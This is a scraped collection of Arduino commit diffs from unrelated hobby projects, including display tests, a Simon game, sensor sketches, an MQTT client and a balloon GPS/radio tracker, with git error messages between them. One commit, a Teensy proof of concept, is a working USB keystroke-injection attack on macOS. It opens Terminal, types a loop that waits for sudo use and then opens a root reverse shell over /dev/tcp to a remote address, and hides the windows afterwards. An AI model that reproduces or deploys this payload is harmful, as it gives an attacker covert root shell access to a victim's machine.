+   tft.fillScreen(BLACK);
+   for (uint16_t x=0; x < tft.width()-1; x+=6) {
+     tft.drawLine(tft.width()-1, 0, x, tft.height()-1, color);
+   }
+   for (uint16_t y=0; y < tft.height()-1; y+=6) {
+     tft.drawLine(tft.width()-1, 0, 0, y, color);
+   }
+
+   tft.fillScreen(BLACK);
+   for (uint16_t x=0; x < tft.width()-1; x+=6) {
+     tft.drawLine(0, tft.height()-1, x, 0, color);
+   }
+   for (uint16_t y=0; y < tft.height()-1; y+=6) {
+     tft.drawLine(0, tft.height()-1, tft.width()-1, y, color);
+   }
+
+   tft.fillScreen(BLACK);
+   for (uint16_t x=0; x < tft.width()-1; x+=6) {
+     tft.drawLine(tft.width()-1, tft.height()-1, x, 0, color);
+   }
+   for (uint16_t y=0; y < tft.height()-1; y+=6) {
+     tft.drawLine(tft.width()-1, tft.height()-1, 0, y, color);
+   }
+
+}
+
+void testdrawtext(char *text, uint16_t color) {
+  tft.setCursor(0,0);
+  tft.setTextColor(color);
+  tft.print(text);
+}
+
+void testfastlines(uint16_t color1, uint16_t color2) {
+   tft.fillScreen(BLACK);
+   for (uint16_t y=0; y < tft.height()-1; y+=5) {
+     tft.drawFastHLine(0, y, tft.width()-1, color1);
+   }
+   for (uint16_t x=0; x < tft.width()-1; x+=5) {
+     tft.drawFastVLine(x, 0, tft.height()-1, color2);
+   }
+}
+
+void testdrawrects(uint16_t color) {
+ tft.fillScreen(BLACK);
+ for (uint16_t x=0; x < tft.height()-1; x+=6) {
+   tft.drawRect((tft.width()-1)/2 -x/2, (tft.height()-1)/2 -x/2 , x, x, color);
+ }
+}
+
+void testfillrects(uint16_t color1, uint16_t color2) {
+ tft.fillScreen(BLACK);
+ for (uint16_t x=tft.height()-1; x > 6; x-=6) {
+   tft.fillRect((tft.width()-1)/2 -x/2, (tft.height()-1)/2 -x/2 , x, x, color1);
+   tft.drawRect((tft.width()-1)/2 -x/2, (tft.height()-1)/2 -x/2 , x, x, color2);
+ }
+}
+
+void testfillcircles(uint8_t radius, uint16_t color) {
+  for (uint8_t x=radius; x < tft.width()-1; x+=radius*2) {
+    for (uint8_t y=radius; y < tft.height()-1; y+=radius*2) {
+      tft.fillCircle(x, y, radius, color);
+    }
+  }
+}
+
+void testdrawcircles(uint8_t radius, uint16_t color) {
+  for (uint8_t x=0; x < tft.width()-1+radius; x+=radius*2) {
+    for (uint8_t y=0; y < tft.height()-1+radius; y+=radius*2) {
+      tft.drawCircle(x, y, radius, color);
+    }
+  }
+}
+
+void testtriangles() {
+  tft.fillScreen(BLACK);
+  int color = 0xF800;
+  int t;
+  int w = tft.width()/2;
+  int x = tft.height();
+  int y = 0;
+  int z = tft.width();
+  for(t = 0 ; t <= 15; t+=1) {
+    tft.drawTriangle(w, y, y, x, z, x, color);
+    x-=4;
+    y+=4;
+    z-=4;
+    color+=100;
+  }
+}
+
+void testroundrects() {
+  tft.fillScreen(BLACK);
+  int color = 100;
+
+  int x = 0;
+  int y = 0;
+  int w = tft.width();
+  int h = tft.height();
+  for(int i = 0 ; i <= 24; i++) {
+    tft.drawRoundRect(x, y, w, h, 5, color);
+    x+=2;
+    y+=3;
+    w-=4;
+    h-=6;
+    color+=1100;
+  }
+}
+
+void tftPrintTest() {
+  tft.fillScreen(BLACK);
+  tft.setCursor(0, 5);
+  tft.setTextColor(RED);
+  tft.setTextSize(1);
+  tft.println("Hello World!");
+  tft.setTextColor(YELLOW);
+  tft.setTextSize(2);
+  tft.println("Hello World!");
+  tft.setTextColor(BLUE);
+  tft.setTextSize(3);
+  tft.print(1234.567);
+  delay(1500);
+  tft.setCursor(0, 5);
+  tft.fillScreen(BLACK);
+  tft.setTextColor(WHITE);
+  tft.setTextSize(0);
+  tft.println("Hello World!");
+  tft.setTextSize(1);
+  tft.setTextColor(GREEN);
+  tft.print(p, 6);
+  tft.println(" Want pi?");
+  tft.println(" ");
+  tft.print(8675309, HEX); // print 8,675,309 out in HEX!
+  tft.println(" Print HEX!");
+  tft.println(" ");
+  tft.setTextColor(WHITE);
+  tft.println("Sketch has been");
+  tft.println("running for: ");
+  tft.setTextColor(MAGENTA);
+  tft.print(millis() / 1000);
+  tft.setTextColor(WHITE);
+  tft.print(" seconds.");
+}
+
+void mediabuttons() {
+ // play
+  tft.fillScreen(BLACK);
+  tft.fillRoundRect(25, 10, 78, 60, 8, WHITE);
+  tft.fillTriangle(42, 20, 42, 60, 90, 40, RED);
+  delay(500);
+  // pause
+  tft.fillRoundRect(25, 90, 78, 60, 8, WHITE);
+  tft.fillRoundRect(39, 98, 20, 45, 5, GREEN);
+  tft.fillRoundRect(69, 98, 20, 45, 5, GREEN);
+  delay(500);
+  // play color
+  tft.fillTriangle(42, 20, 42, 60, 90, 40, BLUE);
+  delay(50);
+  // pause color
+  tft.fillRoundRect(39, 98, 20, 45, 5, RED);
+  tft.fillRoundRect(69, 98, 20, 45, 5, RED);
+  // play color
+  tft.fillTriangle(42, 20, 42, 60, 90, 40, GREEN);
+}
+
+/**************************************************************************/
+/*!
+    @brief  Renders a simple test pattern on the LCD
+*/
+/**************************************************************************/
+void lcdTestPattern(void)
+{
+  uint32_t i,j;
+  tft.goTo(0, 0);
+
+  for(i=0;i<128;i++)
+  {
+    for(j=0;j<128;j++)
+    {
+      if(i<16){tft.writeData(RED>>8);tft.writeData(RED);}
+      else if(i<32){tft.writeData(YELLOW>>8);tft.writeData(YELLOW);}
+      else if(i<48){tft.writeData(GREEN>>8);tft.writeData(GREEN);}
+      else if(i<64){tft.writeData(CYAN>>8);tft.writeData(CYAN);}
+      else if(i<80){tft.writeData(BLUE>>8);tft.writeData(BLUE);}
+      else if(i<96){tft.writeData(MAGENTA>>8);tft.writeData(MAGENTA);}
+      else if(i<112){tft.writeData(BLACK>>8);tft.writeData(BLACK);}
+      else {tft.writeData(WHITE>>8);tft.writeData(WHITE);}
+    }
+  }
+}


Teensy PoC

Teensy PoC

error: pathspec 'bigphish_driveby.ino' did not match any file(s) known to git

--- bigphish_driveby.ino
+++ bigphish_driveby.ino
@@ -0,0 +1,84 @@
+
+//quick and dirty port using some of samy's code from USBdriverby as a framework for PoC
+//tested working on teensy 3.1
+void mod(int mod, int key)
+{
+  Keyboard.set_modifier(mod);
+  Keyboard.send_now();
+  Keyboard.set_key1(key);
+  Keyboard.send_now();
+  delay(100);
+
+  Keyboard.set_modifier(0);
+  Keyboard.set_key1(0);
+  Keyboard.send_now();
+  delay(100);
+}
+void ctrl(int key)
+{
+  mod(MODIFIERKEY_CTRL, key);
+}
+
+void cmd(int key)
+{
+  mod(MODIFIERKEY_GUI, key);
+}
+
+void shift(int key)
+{
+  mod(MODIFIERKEY_SHIFT, key);
+}
+
+int led = 13;
+
+void setup ()
+{
+  pinMode(led, OUTPUT);
+  digitalWrite(led, HIGH);
+  delay(500);
+  digitalWrite(led, LOW);
+  delay(500);
+  digitalWrite(led, HIGH);
+  delay(500);
+  digitalWrite(led, LOW);
+  delay(500);
+  digitalWrite(led, HIGH);
+  delay(500);
+  digitalWrite(led, LOW);
+  delay(500);
+  cmd(KEY_SPACE);
+  //open spotlight
+  delay(1000);
+  Keyboard.println("Terminal");
+  delay(1000);
+  Keyboard.write(KEY_RETURN);
+  //open terminal
+  delay(1000);
+  cmd(KEY_N);
+  //open a new window
+  delay(1000);
+  Keyboard.println("tail -F -n 0 /var/log/system.log | grep --line-buffered sudo | while read ; do while true; do sudo bash -i >& /dev/tcp/192.168.2.12/8080 0>&1; done; done");
+  //configured for localhost callback on 8080; modify with bigphish output
+  delay(10);
+  cmd(KEY_M);
+  //hide all terminal windows
+  digitalWrite(led, HIGH);
+  delay(500);
+  digitalWrite(led, LOW);
+  delay(500);
+  digitalWrite(led, HIGH);
+  delay(500);
+  digitalWrite(led, LOW);
+  delay(500);
+  digitalWrite(led, HIGH);
+  delay(500);
+  digitalWrite(led, LOW);
+}
+
+void loop() {
+  //do nothing
+}
+
+
+
+


Add Simon game

Add Simon game

error: pathspec 'simon/simon.ino' did not match any file(s) known to git

--- simon/simon.ino
+++ simon/simon.ino
@@ -0,0 +1,142 @@
+const int pinLED = 13;
+
+const int pinLightL = 3;
+const int pinLightM = 4;
+const int pinLightR = 5;
+
+const int pinButtonL = 22;
+const int pinButtonM = 21;
+const int pinButtonR = 20;
+
+int memorize[100];
+
+void clear_memory() {
+  for (int i = 0; i < 100; i++) {
+    memorize[i] = 0;
+  }
+}
+
+int get_pressed_button_id() {
+  if (digitalRead(pinButtonL) == HIGH) return 1;
+  if (digitalRead(pinButtonM) == HIGH) return 2;
+  if (digitalRead(pinButtonR) == HIGH) return 3;
+  return 0;
+}
+
+void on(int light_id) {
+  switch(light_id) {
+    case 0: off(); break;
+    case 1: digitalWrite(pinLightL, HIGH); break;
+    case 2: digitalWrite(pinLightM, HIGH); break;
+    case 3: digitalWrite(pinLightR, HIGH); break;
+  }
+}
+
+void off() {
+  digitalWrite(pinLightL, LOW);
+  digitalWrite(pinLightM, LOW);
+  digitalWrite(pinLightR, LOW);
+}
+
+int random_light() {
+  return 1 + random(3); // returns a number between 1 and 3
+}
+
+void flash_three_times() {
+  off();
+  for (int i = 0; i < 3; i++) {
+    on(1); on(2); on(3);
+    delay(200);
+    off();
+    delay(200);
+  }
+  delay(1000);
+}
+
+void setup() {
+  randomSeed(analogRead(0));
+
+  pinMode(pinLED, OUTPUT);
+
+  pinMode(pinButtonL, INPUT);
+  pinMode(pinButtonM, INPUT);
+  pinMode(pinButtonR, INPUT);
+
+  pinMode(pinLightL, OUTPUT);
+  pinMode(pinLightM, OUTPUT);
+  pinMode(pinLightR, OUTPUT);
+
+  clear_memory();
+
+  digitalWrite(pinLED, HIGH);
+  delay(500);
+  digitalWrite(pinLED, LOW);
+}
+
+#define STATE_GENERATE 0
+#define STATE_SHOW_LIGHTS 1
+#define STATE_READ_BUTTONS 2
+#define STATE_WAIT_BUTTON_RELEASE 3
+
+int level_max_so_far = 0;
+int level_current = 0;
+
+int state = STATE_GENERATE;
+int selected_light_id = 0;
+
+void loop() {
+  switch(state) {
+    case STATE_GENERATE:
+      // For each level, add one more random light to the list
+      // of memorized lights:
+      memorize[level_max_so_far] = random_light();
+      level_max_so_far++;
+      level_current = 0;
+      state = STATE_SHOW_LIGHTS;
+
+    case STATE_SHOW_LIGHTS:
+      on(memorize[level_current]);
+      delay(750);
+      off();
+      delay(500);
+
+      level_current++;
+      if (level_current == level_max_so_far) {
+        level_current = 0;
+        state = STATE_READ_BUTTONS;
+      }
+      break;
+
+    case STATE_READ_BUTTONS:
+      selected_light_id = get_pressed_button_id();
+      if (selected_light_id != 0) { // at least one button is pressed
+        // Show the corresponding LED to the button that was pressed
+        off(); on(selected_light_id); delay(200);
+        off(); delay(300);
+        if (memorize[level_current] != selected_light_id) {
+          // uh oh! they didn't press the right button
+          flash_three_times();
+          level_current = 0;
+          state = STATE_SHOW_LIGHTS;
+        } else {
+          level_current++;
+          if (level_current == level_max_so_far) {
+            // Yay! they got the sequence so far
+            level_current = 0;
+            state = STATE_GENERATE;
+          } else {
+            state = STATE_WAIT_BUTTON_RELEASE;
+          }
+        }
+      }
+      break;
+
+    case STATE_WAIT_BUTTON_RELEASE:
+      // Wait for the button to be released
+      off();
+      delay(100);
+      if (get_pressed_button_id() == 0) {
+        state = STATE_READ_BUTTONS;
+      }
+  }
+}


Add template program - needs testing with piezo

error: pathspec 'Pinball' did not match any file(s) known to git
error: pathspec 'Template/pinball_template/pinball_template.ino' did not match any file(s) known to git


back to this test

back to this test

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/trinamic/T-Bone.git/'


knock

knock

error: pathspec 'KnockSensor/KnockSensor.ino' did not match any file(s) known to git

--- KnockSensor/KnockSensor.ino
+++ KnockSensor/KnockSensor.ino
@@ -0,0 +1,56 @@
+// https://www.arduino.cc/en/Tutorial/Knock
+
+/* Knock Sensor
+
+   This sketch reads a piezo element to detect a knocking sound.
+   It reads an analog pin and compares the result to a set threshold.
+   If the result is greater than the threshold, it writes
+   "knock" to the serial port, and toggles the LED on pin 13.
+
+   The circuit:
+    * + connection of the piezo attached to analog in 0
+    * - connection of the piezo attached to ground
+    * 1-megohm resistor attached from analog in 0 to ground
+
+   http://www.arduino.cc/en/Tutorial/Knock
+
+   created 25 Mar 2007
+   by David Cuartielles <http://www.0j0.org>
+   modified 30 Aug 2011
+   by Tom Igoe
+
+   This example code is in the public domain.
+
+ */
+
+
+// these constants won't change:
+const int ledPin = 13;      // led connected to digital pin 13
+const int knockSensor = A0; // the piezo is connected to analog pin 0
+const int threshold = 100;  // threshold value to decide when the detected sound is a knock or not
+
+
+// these variables will change:
+int sensorReading = 0;      // variable to store the value read from the sensor pin
+int ledState = LOW;         // variable used to store the last LED status, to toggle the light
+
+void setup() {
+  pinMode(ledPin, OUTPUT); // declare the ledPin as as OUTPUT
+  Serial.begin(9600);       // use the serial port
+}
+
+void loop() {
+  // read the sensor and store it in the variable sensorReading:
+  sensorReading = analogRead(knockSensor);
+
+  // if the sensor reading is greater than the threshold:
+  if (sensorReading >= threshold) {
+    // toggle the status of the ledPin:
+    ledState = !ledState;
+    // update the LED pin itself:
+    digitalWrite(ledPin, ledState);
+    // send the string "Knock!" back to the computer, followed by newline
+    Serial.println("Knock!");
+  }
+  delay(100);  // delay to avoid overloading the serial port buffer
+}


Nightly

Nightly

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/rniemand/ArduinoProjects.git/'


Create ethernet.ino

Create ethernet.ino

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/lolisa/2014-15.git/'


added RCControl example

added RCControl example

error: pathspec 'ZumoExamples/examples/RCControl/RCControl.ino' did not match any file(s) known to git

--- ZumoExamples/examples/RCControl/RCControl.ino
+++ ZumoExamples/examples/RCControl/RCControl.ino
@@ -0,0 +1,62 @@
+#include <ZumoMotors.h>
+
+#define THROTTLE_PIN   4 // throttle channel from RC receiver
+#define STEERING_PIN   5 // steering channel from RC receiver
+#define LED_PIN       13 // user LED pin
+
+#define MAX_SPEED             400 // max motor speed
+#define PULSE_WIDTH_DEADBAND   25 // pulse width difference from 1500 us (microseconds) to ignore (to compensate for control centering offset)
+#define PULSE_WIDTH_RANGE     350 // pulse width difference from 1500 us to be treated as full scale input (for example, a value of 350 means
+                                  //   any pulse width <= 1150 us or >= 1850 us is considered full scale)
+
+
+void setup()
+{
+  pinMode(LED_PIN, OUTPUT);
+
+  // uncomment one or both of the following lines if your motors' directions need to be flipped
+  //motors.flipLeftMotor(true);
+  //motors.flipRightMotor(true);
+}
+
+void loop()
+{
+  int throttle = pulseIn(THROTTLE_PIN, HIGH);
+  int steering = pulseIn(STEERING_PIN, HIGH);
+
+  int left_speed, right_speed;
+
+  if (throttle > 0 && steering > 0)
+  {
+    // both RC signals are good; turn on LED
+    digitalWrite(LED_PIN, HIGH);
+
+    // RC signals encode information in pulse width centered on 1500 us (microseconds); subtract 1500 to get a value centered on 0
+    throttle -= 1500;
+    steering -= 1500;
+
+    // apply deadband
+    if (abs(throttle) <= PULSE_WIDTH_DEADBAND)
+      throttle = 0;
+    if (abs(steering) <= PULSE_WIDTH_DEADBAND)
+      steering = 0;
+
+    // mix throttle and steering inputs to obtain left & right motor speeds
+    left_speed = ((long)throttle * MAX_SPEED / PULSE_WIDTH_RANGE) - ((long)steering * MAX_SPEED / PULSE_WIDTH_RANGE);
+    right_speed = ((long)throttle * MAX_SPEED / PULSE_WIDTH_RANGE) + ((long)steering * MAX_SPEED / PULSE_WIDTH_RANGE);
+
+    // cap speeds to max
+    left_speed = min(max(left_speed, -MAX_SPEED), MAX_SPEED);
+    right_speed = min(max(right_speed, -MAX_SPEED), MAX_SPEED);
+  }
+  else
+  {
+    // at least one RC signal is not good; turn off LED and stop motors
+    digitalWrite(LED_PIN, LOW);
+
+    left_speed = 0;
+    right_speed = 0;
+  }
+
+  ZumoMotors::setSpeeds(left_speed, right_speed);
+}


Revert "Accidentally update Keypad1 to drive the stepper"

This reverts commit a7546e99dfdf3bc899e70e5e3a5be5dcdf780129.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/JulianNicholls/Arduino.git/'


Add NFC-test

Add NFC-test


CO2_SENSOR_ADUINO

error: pathspec 'CO2_SENSOR_ADUINO.ino' did not match any file(s) known to git

--- CO2_SENSOR_ADUINO.ino
+++ CO2_SENSOR_ADUINO.ino
@@ -0,0 +1,42 @@
+void setup() {
+  Serial.begin(9600);
+
+}
+
+void loop() {
+  double CO2;
+  int real_CO2;
+  double Temp;
+  double CO2_Value=0;
+  double Temp_Value=0;
+
+  for(int x=0; x<=100; x++)
+  {
+    CO2_Value = CO2_Value+analogRead(A0);
+  }
+  CO2_Value = CO2_Value/100.0;
+  CO2= CO2_Value/1024*5.0;
+  CO2= (int)((CO2*3000)/3);
+  real_CO2=CO2;
+
+
+  for(int x=0; x<=100; x++)
+  {
+    Temp_Value = Temp_Value + analogRead(A1);
+  }
+  Temp_Value = Temp_Value / 100.0;
+  Temp = Temp_Value/1024*5.0;
+  Temp = (Temp*50)/3;
+
+
+ // Serial.print("CO2 = ");
+  Serial.print(real_CO2);
+ // Serial.println("ppm");
+ // Serial.print("Temp = ");
+ // Serial.print(Temp);
+ // Serial.print("C");
+ // Serial.print("\n\n");
+  delay(2000);
+
+  }
+


Added mqtt yun wifi

Added mqtt yun wifi

error: pathspec 'thethingsiO_Yun/thethingsiO_Yun.ino' did not match any file(s) known to git

--- thethingsiO_Yun/thethingsiO_Yun.ino
+++ thethingsiO_Yun/thethingsiO_Yun.ino
@@ -0,0 +1,88 @@
+#include <YunClient.h>
+#include <Bridge.h>
+#include <PubSubClient.h>
+#include <Process.h>
+
+#define TOKEN "yourtoken"
+
+YunClient wificlient;
+
+String topic = "v2/things/" + String(TOKEN);
+String message = "";
+boolean firstValue = true;
+
+bool isGeo(double lon, double lat) {
+    return lon >= -180  && lon <= 180 && lat >= -90 && lat >= 90;
+}
+
+String geoJSON(double lon, double lat) {
+    return "\"geo\":{\"lat\":" + String(lat, 7) + ",\"long\":" + String(lon, 7) + "}";
+}
+
+
+void addValue(String key, int value, double lat, double lon) {
+  if (firstValue == true) {
+    firstValue = false;
+    message.concat("{\"key\":\"" + key + "\",\"value\":" + value +(isGeo(lon, lat) ? "," + geoJSON(lon, lat) : "")+"}");
+  }
+  else {
+    message.concat(",{\"key\":\"" + key + "\",\"value\":" + value +(isGeo(lon, lat) ? "," + geoJSON(lon, lat) : "") +"}");
+  }
+}
+
+void addValue(String key, int value) {
+  if (firstValue == true) {
+    firstValue = false;
+    message.concat("{\"key\":\"" + key + "\",\"value\":" + value+"}");
+  }
+  else {
+    message.concat(",{\"key\":\"" + key + "\",\"value\":" + value+"}");
+  }
+}
+
+void callback(char* topic, byte* payload, unsigned int length) {
+    // handle message arrived
+    String text = "";
+    for (int i = 0; i < length; i++)
+        text.concat((char)payload[i]);
+    text.replace(" ", "");
+    Serial.println(text);
+
+}
+
+PubSubClient mqtt("mqtt.thethings.io", 1883, callback, wificlient);
+
+void publish() {
+  String toSend = "{\"values\":[" + message + "]}";
+  mqtt.publish((char*)topic.c_str(), (char*)toSend.c_str());
+  message= "";
+  firstValue = true;
+  Serial.println("Published");
+}
+
+void setup() {
+  Serial.begin(9600);
+  while(!Serial);
+  Bridge.begin();
+  while (!mqtt.connect("Yunclient")) {
+    Serial.println("Could not subscribe, retrying...");
+  }
+  Serial.println("Client connected to mqtt broker!");
+  mqtt.subscribe((char*)topic.c_str());
+}
+
+void loop() {
+ /* Process wifiCheck;
+  wifiCheck.runShellCommand("/usr/bin/pretty-wifi-info.lua");
+  while (wifiCheck.available() > 0) {
+    char c = wifiCheck.read();
+    Serial.print(c);
+  }
+
+  Serial.println();
+
+  delay(000);
+  // put your main code here, to run repeatedly:
+  */
+  mqtt.loop();
+}


Original picofalcon payload software

Original picofalcon payload software

error: pathspec 'V1_0.ino' did not match any file(s) known to git

--- V1_0.ino
+++ V1_0.ino
@@ -0,0 +1,400 @@
+#include <avr/io.h>
+#include <avr/interrupt.h>
+#include <util/crc16.h>
+#include <SPI.h>
+#include <RFM22.h>
+#include <TinyGPS.h>
+
+#define ASCII 7          // ASCII 7 or 8
+#define STOPBITS 2       // Either 1 or 2
+#define TXDELAY 0        // Delay between sentence TX's
+#define RTTY_BAUD 50    // Baud rate for use with RFM22B Max = 600
+#define RADIO_FREQUENCY 434.160
+
+
+#define RFM22B_SDN 8
+#define RFM22B_PIN 10
+#define LED 7
+
+char callsign[8] = "pFALCON"; //Callsign
+
+char datastring[80];
+char txstring[80];
+volatile int txstatus=1;
+volatile int txstringlength=0;
+volatile char txc;
+volatile int txi;
+volatile int txj;
+unsigned int count=0;
+
+TinyGPS gps;
+rfm22 radio1(RFM22B_PIN);
+
+const int analogInPin = A0;
+int sensorValue = 0;
+float actualValue = 0.00;
+float divider = 1.8;
+char voltage[6];
+int v1;
+int v2;
+
+float flat, flon = 0;
+unsigned long age;
+char latbuf[12] = "0", lonbuf[12] = "0" ,altbuf[12] = "0";
+int hour = 0 , minute = 0 , second = 0, oldsecond = 0, sats = 0;
+unsigned long date, time;
+long int ialt = 123;
+
+long int ticks = 1;
+
+byte gps_set_sucess = 0 ;
+
+bool newData = false;
+
+bool cBusy = true;
+
+bool reinit = false;
+bool reinit_done = false;
+int reinitcnt = 8;
+int reinitcntr = 0;
+
+void setup()
+{
+   pinMode(LED,OUTPUT);
+   digitalWrite(LED, LOW);
+   delay(500);
+   digitalWrite(LED, HIGH);
+   delay(500);
+
+    initialise_interrupt();
+
+    Serial.begin(9600);
+
+    //Setup GPS
+    uint8_t setNav[] = {
+      0xB5, 0x62, 0x06, 0x24, 0x24, 0x00, 0xFF, 0xFF, 0x06, 0x03, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x05, 0x00, 0xFA,
+    0x00, 0xFA, 0x00, 0x64, 0x00, 0x2C, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xDC};
+
+    uint8_t ecoMode[] = {0xB5, 0x62, 0x06, 0x11, 0x02, 0x00, 0x00, 0x04, 0x1D, 0x85};
+
+    while(!gps_set_sucess)
+    {
+      sendUBX(setNav, sizeof(setNav)/sizeof(uint8_t));
+      gps_set_sucess=getUBX_ACK(setNav);
+      /*sendUBX(ecoMode, sizeof(ecoMode)/sizeof(uint8_t));
+      gps_set_sucess&=getUBX_ACK(ecoMode);*/
+    }
+    gps_set_sucess=0;
+
+   digitalWrite(LED, LOW);
+   delay(500);
+   digitalWrite(LED, HIGH);
+   delay(500);
+   digitalWrite(LED, LOW);
+   delay(500);
+   digitalWrite(LED, HIGH);
+   delay(500);
+   digitalWrite(LED, LOW);
+
+    while(sats < 6 && flat == 0)
+    {
+      while(Serial.available())
+      {
+      char c = Serial.read();
+      newData = gps.encode(c);
+        if(newData)
+        {
+        gps.f_get_position(&flat, &flon, &age);
+        sats = gps.satellites();
+        }
+      }
+    }
+
+    setupGPSpower();
+    delay(1000);
+    //Setup RFM22B
+    setupRadio();
+}
+
+void loop()
+{
+    unsigned long chars;
+    unsigned short sentences, failed;
+
+    while(Serial.available())
+    {
+    char c = Serial.read();
+    if (gps.encode(c)) // Did a new valid sentence come in?
+    newData = true;
+    }
+
+    if (newData)
+    {
+      digitalWrite(LED,HIGH);
+      gps.f_get_position(&flat, &flon, &age);
+      sats = gps.satellites();
+      dtostrf(flat, 10, 6, latbuf);
+      dtostrf(flon, 9, 6, lonbuf);
+      if(lonbuf[0] == ' ')
+            {
+              lonbuf[0] = '+';
+            }
+      if(latbuf[0] == ' ')
+            {
+              latbuf[0] = '+';
+            }
+      ialt = (gps.altitude() / 100);
+      if(ialt >= 0)
+      {
+        itoa(ialt, altbuf, 10);
+      }
+
+      gps.get_datetime(&date, &time, &age);
+              hour = (time / 1000000);
+              minute = ((time - (hour * 1000000)) / 10000);
+              second = ((time - ((hour * 1000000) + (minute * 10000))));
+              second = second / 100;
+
+        sensorValue = analogRead(analogInPin);
+        actualValue = (sensorValue / 1023.00) * divider;
+        v1 = actualValue;
+        v2 = (actualValue - v1) * 100;
+        snprintf(voltage, 30, "%i.%02i", v1, v2);
+
+    cBusy = true;
+    sprintf(datastring,"$$$$%s,%li,%02i:%02i:%02i,%s,%s,%s,%i,%s",callsign,ticks,hour,minute,second,latbuf,lonbuf,altbuf,sats,voltage);
+    unsigned int CHECKSUM = gps_CRC16_checksum(datastring);  // Calculates the checksum for this datastring
+    char checksum_str[6];
+    sprintf(checksum_str, "*%04X\n", CHECKSUM);
+    strcat(datastring,checksum_str);
+    cBusy = false;
+
+    gps.stats(&chars, &sentences, &failed);
+
+  }
+  else
+  {
+    digitalWrite(LED,LOW);
+  }
+  if(reinit == true)
+  {
+    setupRadio();
+    reinit = false;
+  }
+
+}
+
+ISR(TIMER1_COMPA_vect)
+{
+  switch(txstatus) {
+  case 0: // This is the optional delay between transmissions.
+    txj++;
+    if(txj>(TXDELAY*RTTY_BAUD)) {
+      txj=0;
+      txstatus=1;
+    }
+    break;
+  case 1: // Initialise transmission, take a copy of the string so it doesn't change mid transmission.
+  if(reinit == false)
+  {
+    if(cBusy == false)
+    {
+    if(reinitcntr == reinitcnt)
+    {
+      reinit = true;
+      reinitcntr = 0;
+    }
+    else
+    {
+      strcpy(txstring,datastring);
+      txstringlength=strlen(txstring);
+      if(txstringlength != 0)
+      txj=0;
+      ticks++;
+      txstatus=2;
+      reinitcntr++;
+    }
+    }
+   }
+    break;
+  case 2: // Grab a char and lets go transmit it.
+    if ( txj < txstringlength)
+    {
+      txc = txstring[txj];
+      txj++;
+      txstatus=3;
+      rtty_txbit (0); // Start Bit;
+      txi=0;
+    }
+    else
+    {
+      txstatus=0; // Should be finished
+      txj=0;
+    }
+    break;
+  case 3:
+    if(txi<ASCII)
+    {
+      txi++;
+      if (txc & 1) rtty_txbit(1);
+      else rtty_txbit(0);
+      txc = txc >> 1;
+      break;
+    }
+    else
+    {
+      rtty_txbit (1); // Stop Bit
+      txstatus=4;
+      txi=0;
+      break;
+    }
+  case 4:
+    if(STOPBITS==2)
+    {
+      rtty_txbit (1); // Stop Bit
+      txstatus=2;
+      break;
+    }
+    else
+    {
+      txstatus=2;
+      break;
+    }
+
+  }
+}
+
+void rtty_txbit (int bit)
+{
+  if (bit)
+  {
+    radio1.write(0x73,0x03); // High
+  }
+  else
+  {
+    radio1.write(0x73,0x00); // Low
+  }
+}
+
+void setupGPSpower() {
+  //Set GPS ot Power Save Mode
+  uint8_t setPSM[] = { 0xB5, 0x62, 0x06, 0x11, 0x02, 0x00, 0x08, 0x01, 0x22, 0x92 }; // Setup for Power Save Mode (Default Cyclic 1s)
+
+  sendUBX(setPSM, sizeof(setPSM)/sizeof(uint8_t));
+}
+
+void setupRadio(){
+  pinMode(RFM22B_SDN, OUTPUT);    // RFM22B SDN is on ARDUINO A3
+  digitalWrite(RFM22B_SDN, LOW);
+  delay(1000);
+  rfm22::initSPI();
+  radio1.init();
+  radio1.write(0x71, 0x00); // unmodulated carrier
+  //This sets up the GPIOs to automatically switch the antenna depending on Tx or Rx state, only needs to be done at start up
+  radio1.write(0x0b,0x12);
+  radio1.write(0x0c,0x15);
+  radio1.setFrequency(RADIO_FREQUENCY);
+  radio1.write(0x6D, 0x04);// turn tx low power 11db
+  radio1.write(0x07, 0x08);
+  delay(500);
+}
+
+uint16_t gps_CRC16_checksum (char *string)
+{
+  size_t i;
+  uint16_t crc;
+  uint8_t c;
+
+  crc = 0xFFFF;
+
+  // Calculate checksum ignoring the first four $s
+  for (i = 4; i < strlen(string); i++)
+  {
+    c = string[i];
+    crc = _crc_xmodem_update (crc, c);
+  }
+
+  return crc;
+}
+void initialise_interrupt()
+{
+  // initialize Timer1
+  cli();          // disable global interrupts
+  TCCR1A = 0;     // set entire TCCR1A register to 0
+  TCCR1B = 0;     // same for TCCR1B
+  OCR1A = F_CPU / 1024 / RTTY_BAUD - 1;  // set compare match register to desired timer count:
+  TCCR1B |= (1 << WGM12);   // turn on CTC mode:
+  // Set CS10 and CS12 bits for:
+  TCCR1B |= (1 << CS10);
+  TCCR1B |= (1 << CS12);
+  // enable timer compare interrupt:
+  TIMSK1 |= (1 << OCIE1A);
+  sei();          // enable global interrupts
+}
+
+// Send a byte array of UBX protocol to the GPS
+void sendUBX(uint8_t *MSG, uint8_t len) {
+  for(int i=0; i<len; i++) {
+    Serial.write(MSG[i]);
+    //mySerial.print(MSG[i], HEX);
+  }
+  Serial.println();
+}
+
+// Calculate expected UBX ACK packet and parse UBX response from GPS
+boolean getUBX_ACK(uint8_t *MSG) {
+  uint8_t b;
+  uint8_t ackByteID = 0;
+  uint8_t ackPacket[10];
+  unsigned long startTime = millis();
+  //mySerial.print(" * Reading ACK response: ");
+
+  // Construct the expected ACK packet
+  ackPacket[0] = 0xB5;	// header
+  ackPacket[1] = 0x62;	// header
+  ackPacket[2] = 0x05;	// class
+  ackPacket[3] = 0x01;	// id
+  ackPacket[4] = 0x02;	// length
+  ackPacket[5] = 0x00;
